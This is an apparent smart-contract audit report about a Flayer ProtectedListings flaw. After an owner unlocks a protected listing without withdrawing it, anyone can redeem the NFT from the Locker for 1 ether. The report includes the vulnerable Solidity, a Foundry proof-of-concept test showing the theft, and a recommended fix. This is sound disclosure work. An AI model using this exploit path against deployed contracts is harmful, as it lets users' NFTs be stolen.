# Attacker can take out user's repaid protected listing NFT with only `1 ether`.
## Summary
`ProtectedListings.unlockProtectedListing()` function deletes `_protectedListings[_collection][_tokenId]` while not withdraw it from `Locker` when `_withdraw` parameter is `false`. Therefore, attacker can take out user's repaid protected listing NFT with only `1 ether` before user withdraw it.

## Vulnerability Detail
`ProtectedListings.unlockProtectedListing()` function is following.
```solidity
    function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
        // Ensure this is a protected listing
        ProtectedListing memory listing = _protectedListings[_collection][_tokenId];

        // Ensure the caller owns the listing
        if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);

        // Ensure that the protected listing has run out of collateral
        int collateral = getProtectedListingHealth(_collection, _tokenId);
        if (collateral < 0) revert InsufficientCollateral();

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);
        uint denomination = collectionToken.denomination();
        uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;

        // Repay the loaned amount, plus a fee from lock duration
        uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
        collectionToken.burnFrom(msg.sender, fee);

        // We need to burn the amount that was paid into the Listings contract
        collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);

        // Remove our listing type
        unchecked { --listingCount[_collection]; }

        // Delete the listing objects
314:    delete _protectedListings[_collection][_tokenId];

        // Transfer the listing ERC721 back to the user
        if (_withdraw) {
            locker.withdrawToken(_collection, _tokenId, msg.sender);
            emit ListingAssetWithdraw(_collection, _tokenId);
        } else {
            canWithdrawAsset[_collection][_tokenId] = msg.sender;
        }

        // Update our checkpoint to reflect that listings have been removed
        _createCheckpoint(_collection);

        // Emit an event
        emit ListingUnlocked(_collection, _tokenId, fee);
    }
```
The above function doesn't withdraw NFT when `_withdraw` parameter is `false`, but deletes `_protectedListings[_collection][_tokenId]` in `L314`.
In the meantime, `Locker.redeem()` function is following.
```solidity
    function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
        uint tokenIdsLength = _tokenIds.length;
        if (tokenIdsLength == 0) revert NoTokenIds();

        // Burn the ERC20 tokens from the caller
        ICollectionToken collectionToken_ = _collectionToken[_collection];
        collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());

        // Define our collection token outside the loop
        IERC721 collection = IERC721(_collection);

        // Loop through the tokenIds and redeem them
        for (uint i; i < tokenIdsLength; ++i) {
            // Ensure that the token requested is not a listing
223:        if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);

            // Transfer the collection token to the caller
            collection.transferFrom(address(this), _recipient, _tokenIds[i]);
        }

        emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
    }
``` 
`Locker.isListing()` function of `L223` is following.
```solidity
    function isListing(address _collection, uint _tokenId) public view returns (bool) {
        IListings _listings = listings;

        // Check if we have a liquid or dutch listing
        if (_listings.listings(_collection, _tokenId).owner != address(0)) {
            return true;
        }

        // Check if we have a protected listing
447:    if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
            return true;
        }

        return false;
    }
```
Since `_protectedListings[_collection][_tokenId]` is already deleted in `ProtectedListings.sol#L314`, the condition of `L447` is `false` and `isListing()` function returns `false`. Therefore, attacker can take out user's repaid protected listing NFT by calling `Locker.redeem()` function.

PoC:
Add the following test code into `ProtectedListings.t.sol`.
```solidity
    function test_withdrawProtectedListingError() public {
        erc721a.mint(address(this), 0);
        
        erc721a.setApprovalForAll(address(protectedListings), true);

        uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;

        // create protected listing for tokenId = 0
        IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
        _listings[0] = IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(0),
            listing: IProtectedListings.ProtectedListing({
                owner: payable(address(this)),
                tokenTaken: 0.4 ether,
                checkpoint: 0
            })
        });
        protectedListings.createListings(_listings);

        vm.warp(block.timestamp + 7 days);

        // attacker can't take out protected listing
        locker.collectionToken(address(erc721a)).approve(address(locker), 1 ether);
        vm.expectRevert();
        locker.redeem(address(erc721a), _tokenIdToArray(0), address(this));

        // user unlock protected listing without withdrawing
        locker.collectionToken(address(erc721a)).approve(address(protectedListings), 402055890410801920);
        protectedListings.unlockProtectedListing(address(erc721a), 0, false);

        // attacker can take out protected listing with only 1 ether
        locker.redeem(address(erc721a), _tokenIdToArray(0), address(this));

        // user lost his NFT
        vm.expectRevert();
        protectedListings.withdrawProtectedListing(address(erc721a), 0);
    }
```
As can be seen above, attacker can take out user's repaid protected listing NFT with only `1 ether` before user withdraw it.

## Impact
In general, the price of protected listing NFT will be more than `1 ether`. However, attacker can take out user's repaid protected listing NFT with only `1 ether`. This means loss of funds for user.

## Code Snippet
- [ProtectedListings.unlockProtectedListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329)

## Tool used
Manual Review

## Recommendation
Don't delete `_protectedListings[_collection][_tokenId]` when `_withdraw` parameter is `false`. And then delete it in the `ProtectedListings.withdrawProtectedListing()` function.